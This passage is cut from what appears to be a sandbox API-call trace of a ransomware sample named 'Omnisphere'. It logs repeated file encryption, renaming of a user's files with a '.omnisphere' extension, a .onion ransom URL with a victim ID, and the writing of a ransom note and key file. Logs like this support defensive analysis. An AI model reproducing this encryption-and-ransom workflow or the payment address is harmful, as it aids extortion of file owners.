pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.365] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.366] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.367] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.368] CryptDestroyKey (hKey=0x16396e8) returned 1 [0164.368] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0164.368] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x15ec, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.368] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.368] GetProcessHeap () returned 0x1600000 [0164.368] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x26e) returned 0x1775328 [0164.368] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\mdecjtnxeez.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\mdecjtnxeez.mp3.omnisphere")) returned 1 [0164.369] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3.omnisphere.id" [0164.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\mdecjtnxeez.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.378] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.379] CloseHandle (hObject=0x3bc) returned 1 [0164.379] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.379] CloseHandle (hObject=0x380) returned 1 [0164.379] SetEndOfFile (hFile=0x39c) returned 1 [0164.379] FlushFileBuffers (hFile=0x39c) returned 1 [0164.382] CloseHandle (hObject=0x39c) returned 1 [0164.382] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\MdecjTnXEez.mp3" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.383] GetProcessHeap () returned 0x1600000 [0164.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17755a0 [0164.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.383] GetProcessHeap () returned 0x1600000 [0164.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733ba8 [0164.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733ba8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.383] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.383] GetProcessHeap () returned 0x1600000 [0164.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f5a0 [0164.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f5a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.383] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.383] GetProcessHeap () returned 0x1600000 [0164.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x17735b0 [0164.383] PathCombineW (in: pszDest=0x17735b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.383] GetProcessHeap () returned 0x1600000 [0164.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1755210 [0164.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.384] WriteFile (in: hFile=0x39c, lpBuffer=0x1755210*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1755210*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.384] CloseHandle (hObject=0x39c) returned 1 [0164.384] GetProcessHeap () returned 0x1600000 [0164.384] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17755a0 | out: hHeap=0x1600000) returned 1 [0164.384] GetProcessHeap () returned 0x1600000 [0164.384] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0164.384] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.384] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.384] CloseHandle (hObject=0x39c) returned 1 [0164.384] GetProcessHeap () returned 0x1600000 [0164.385] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0164.385] GetProcessHeap () returned 0x1600000 [0164.385] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16920c0 | out: hHeap=0x1600000) returned 1 [0164.385] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x749bb8e0, ftCreationTime.dwHighDateTime=0x1d4c90c, ftLastAccessTime.dwLowDateTime=0xad806540, ftLastAccessTime.dwHighDateTime=0x1d4ca59, ftLastWriteTime.dwLowDateTime=0xad806540, ftLastWriteTime.dwHighDateTime=0x1d4ca59, nFileSizeHigh=0x0, nFileSizeLow=0x60e, dwReserved0=0x0, dwReserved1=0xf5, cFileName="MVw.avi", cAlternateFileName="")) returned 1 [0164.385] GetProcessHeap () returned 0x1600000 [0164.385] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x4e) returned 0x1634d28 [0164.385] PathCombineW (in: pszDest=0x1634d28, 